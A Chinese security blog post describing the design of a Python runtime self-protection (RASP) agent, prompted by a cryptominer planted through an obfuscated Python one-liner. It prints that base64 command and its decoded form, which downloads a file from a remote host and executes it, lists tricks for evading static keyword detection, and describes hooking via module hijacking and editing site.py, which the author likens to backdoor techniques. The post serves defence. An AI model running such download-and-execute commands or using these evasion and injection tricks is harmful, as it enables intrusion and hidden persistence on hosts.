1. 程式人生 > >Python RASP 工程化:一次入侵的思考

Python RASP 工程化:一次入侵的思考

解決 var 永遠 實例 放棄 插入 出發 site 收集日誌

前言

今天講的內容會很深,包括一些 Python的高級用法和一些自己創造的黑科技,前半部分內容你們可能聽過,後半部分內容就真的是黑科技了。。。

深入的研究和思考,總會發現很多有意思的東西。每一次的研究,都不會是無緣無故的,下面開始我們今天的故事。(註意文末有花絮

Tips: RASP,全稱應用運行時自我保護解決方案,可以簡單理解為部署在應用環境的監控防禦程序。

萬事有因果

本次的研究 來源於 對一次入侵手法的思考,眾所周知,在linux主機上,挖礦木馬比較流行。現在挖比特幣的相對少了,又有挖門羅幣的。這些木馬的植入不會說直接傳文件上去,這樣動作太大,更多的是通過執行shell命令,遠程下載文件並執行 。以如下情況為例,很特別,這是一個通過Python命令植入的挖礦木馬:

python -c ‘exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("base64"))‘

通過base64解密之後的內容(ip脫敏了):

import os; import urllib; hd = urllib.urlretrieve ("http://127.0.0.1/jp/jm", "/var/tmp/svr"); os.system("chmod +x /var/tmp/svr"); os.system("/var/tmp/svr");

通過base64隱藏真實代碼是一個常用的方式,不能說這樣做很高明,這條命令特征相對還是比較明顯了。

現有的防禦辦法是靜態分析,通過抓取Python 進程參數,匹配關鍵字,比如exec,decode,base64 就會很容易發現。但是如果咱們腦暴一下做一次靜態策略繞過,你會發現靜態分析是多麽的脆弱。

1.繞過 base64

"base64" = ‘case64‘.replace(‘c‘,‘b‘) = ‘1base641‘[1:7]

2. 繞過decode (或者直接不用編碼)

str.__dict__["dec"+"ode"](‘aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=‘,‘base64‘)

3.終極絕招(妙用管道,讓你抓不到Python參數)

echo "exec(‘aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=‘.decode(‘base64‘*1))" | python

相信到第3步,靜態分析已經窮途末路,你連數據都沒有了。

這3次繞過是想說明一個問題,Python語言很靈活,尤其和shell結合後,靜態分析這條路已經解決不了實際問題。

問題出在哪呢?問題出在Python語言本身,語法的靈活對靜態分析是致命的。我總結了這麽一句話,大家可以回味一下:

當字符串可以當作代碼執行時,靜態分析的盡頭也就到了

那該怎麽解決呢?從Python語言本身出發,監控整個Python的動態行為,這就是Python RASP。

研究Python RASP值不值得花時間呢? 你只需要知道每個linux主機上都會預裝Python環境,你就知道它的威脅了。

說實話,有開源的PHP RASP,JAVA RASP,還真的沒有Python RASP,下面的研究完全是一個摸索的過程。

在研究的過程中,我碰到兩次僵局,窮途陌路之感,差一點以為Python RASP 不能發揮很大的作用。

Monkey Patch 與 依賴註入

Python RASP的行為監控,簡單來說就是hook關鍵函數,將函數的參數和返回值,送回策略進行過濾。

(1) Monkey Patch

說到hook,首先想到的是Monkey Patch這種方法,對於Python的理念來說,一切皆對象,我們可以動態修改Python中的對象。舉個例子:

技術分享圖片

在主函數中,修改open內置函數,給open添加的了日誌打印的功能。運行效果如下,成功的打印出了日誌:

技術分享圖片

函數調用順序如下:

open(‘1.txt‘,‘r‘) ->__call__ ->_pre_hook -> post_hook -> return

但是你有沒有發現問題,也就是說我們需要將hook代碼添加到用戶代碼之前,這不現實

現有業務中這麽多項目,這麽多腳本,每個項目的代碼,我都要改的話,我猜業務同學會殺策略祭天。因此Monkey Patch 這種方式暫時放棄了,換個思路。

(2)依賴註入

如果大家之前做過dll劫持,有一種方式是根據dll加載順序的先後進行劫持的,同樣python中我們也可以用這種方式來做。以import os為例,Python是如何找到os模塊呢?搜索順序如下:

當前目錄 -> $PYTHONPATH -> Lib庫目錄 -> site-package 第三方模塊路徑

我們要利用的就是$PYTHONPATH環境變量指定的目錄,在這個目錄下,新建os.py文件,import os就不會去 Lib庫目錄 中查找模塊,從而實現了劫持。 我們既可以劫持函數,也可以劫持類。

2.1 劫持os模塊下的system函數

首先在當前pythonpath路徑下創建os.py文件,然後重載一下os模塊,最後使用_InstallFcnHook改變system。

2.2 劫持socket模塊下的_fileObject類

劫持類,我們需要用到Python中元類的概念。元類就是用來創建類的類,函數type實際上是一個元類。

元類的主要目的就是為了當創建類時能夠自動地改變類,使用元類來劫持類再合適不過了。需要用到的主要方法和屬性如下:

  • __metaclass__:你可以在寫一個類的時候為其添加__metaclass__屬性, Python就會用它來創建類。__metaclass__可以接受任何可調用的對象,你可以在__metaclass__中放置可以創建一個類的東西

  • __new__:是用來創建類並返回這個類的實例

  • __call__:任何類,只需要定義一個__call__()方法,就可以直接對實例進行調用,用callable來判斷是否可被調用

  • __getattribute__:定義了你的屬性被訪問時的行為

劫持fileObject類,首先在當前pythonpath路徑下創建socket.py文件,然後使用_installclshook動態修改此類,當訪問_fileobject的屬性方法時,返回到_hook_writeline 和 _hook_readline。

技術分享圖片

依賴註入這種方法,有一個很大的缺陷,就是內置模塊中的類和函數沒辦法劫持。以__builtin__內置模塊為例,這個模塊是Python虛擬機中內置的,在虛擬機啟動之前就已經加載完畢,不會再去pythonpath中去查找,常見的open函數,decode函數都是沒辦法劫持的。

雖然使用Monkey Patch能解決,但是依舊有上面所說的原因,沒辦法工程化,這就很苦惱。

破局 到 再次入局

出現僵局總得解決,有一點可以確定的是 Monkey Patch 可以hook內置函數,那要解決的問題就是如何讓hook代碼永遠在在用戶代碼之前運行,這樣我們的hook才能有效控制函數調用。

腦洞大開

在用戶代碼運行之前是誰運行呢?肯定是Python虛擬機先運行。如果Python虛擬機啟動的過程中,預加載了一些模塊,你把我們的代碼插入這些模塊中,不就可以比用戶代碼先運行了!!!

有時候真的是需要腦洞,事實證明我走對了。網上所有關於monkey patch 的資料,都是在教你修改用戶代碼,添加hook函數,實現動態修改,這種方式還真沒有,可以加個雞腿了

腦洞開完之後,下面就需要進行苦逼的分析,你要分析Python虛擬機的初始化過程,必須要看Python源代碼了。我就不帶大家看代碼了,給出一個Python虛擬機模塊大致的加載過程。

技術分享圖片

Python虛擬機在設置模塊路徑時,其中的第三方模塊路徑是加載site.py模塊進行設置的。Python源碼部分如下:

技術分享圖片

以Windows py2.7為例,打開D:\Python27\Lib目錄下的site.py文件,將我們在第二節中的hook代碼 引入到文件末尾即可,這樣無論運行什麽樣子的用戶代碼,都會首先加載我們的hook代碼

技術分享圖片

本以為到此就結束了,可是才發現剛剛入坑而已。因為就在我打算hook內置 __builtin__模塊str類的decode時,出現了異常。

技術分享圖片

google了一下異常信息,得出一個結論:Monkey Patch可以修改內置模塊中的函數,但是沒辦法修改內置模塊中的類屬性,比如str的decode函數就沒辦法了。

其實到這就可以結束了,因為大部分模塊,我們都可以hook住了,但是感覺有缺憾,不夠完美,還是有漏的,束縛了RASP的能力,因此又有了接下來的黑科技,開腦洞吧。。。

腦洞黑科技

這時候能用的技術都用完了,真是窮途末路了。。。需要點靈感!!!

腦洞時間

之前寫java程序的時候,使用過JNI技術,也就是java的C接口,很多java做不到的事情,使用C接口就可以做到,還可以訪問java對象。聯想到Python Monkey Patch失敗的問題,很有可能是在Python層做的禁止,是否可以通過Python C API操作對象呢

每一個類對象都有一個__dict__,裏面包含著每個類的屬性信息,例如如果我們想從str取出decode函數,可以這麽幹:

str.__dict__["decode"]

因此咱們只要獲取__dict__屬性,對這個屬性進行修改,就可以達到替換的目的。咱們使用C API來獲取:

技術分享圖片

通過patch_builtin函數,我們就可以獲取__dict__對象,然後使用setattr和getattr修改屬性即可,由於我們不改變原有的函數,只是收集日誌,所以基本上對虛擬機運行沒有影響。最後實驗一下效果:

技術分享圖片

到此為止,Python RASP的所有的技術點都結束了。。。呼吸一口新鮮空氣。。。

亦正亦邪

技術點結束了,下面就需要落地了。Python RASP整體分為兩部分:Agent和Server,Agent負責hook函數,收集函數日誌,並發給Server,Server負責處理日誌數據,並制定相應的策略進行過濾報警。

技術分享圖片

在落地的過程中,有以下問題需要註意:

  1. 數據壓制:Agent在采集函數日誌的時候,因為很多Python程序都是做周期性任務,重復數據會很多。

  2. 兼容性: Python RASP 對於Py2和Py3要進行兼容性處理。

  3. 自保護:其實對於Python RASP有很多逃逸的方式,對此我們要進行加固,下一篇我們會講解逃逸和加固。

在設計策略的過程中,註意收集一些執行命令和網絡的函數,在下一篇我會列舉出來。

大家有沒有想過Python RASP中使用的技術,是不是特別像木馬後門。這可能就是所謂的技術本沒有好壞,看你怎麽用罷了

最後

關註公眾號:七夜安全博客

技術分享圖片

  • 回復【1】:領取 Python數據分析 教程大禮包
  • 回復【2】:領取 Python Flask 全套教程
  • 回復【3】:領取 某學院 機器學習 教程
  • 回復【4】:領取 爬蟲 教程
  • 回復【5】:領取 編譯原理 教程
  • 回復【6】:領取 滲透測試 教程
  • 回復【7】:領取 人工智能數學基礎 教程

Python RASP 工程化:一次入侵的思考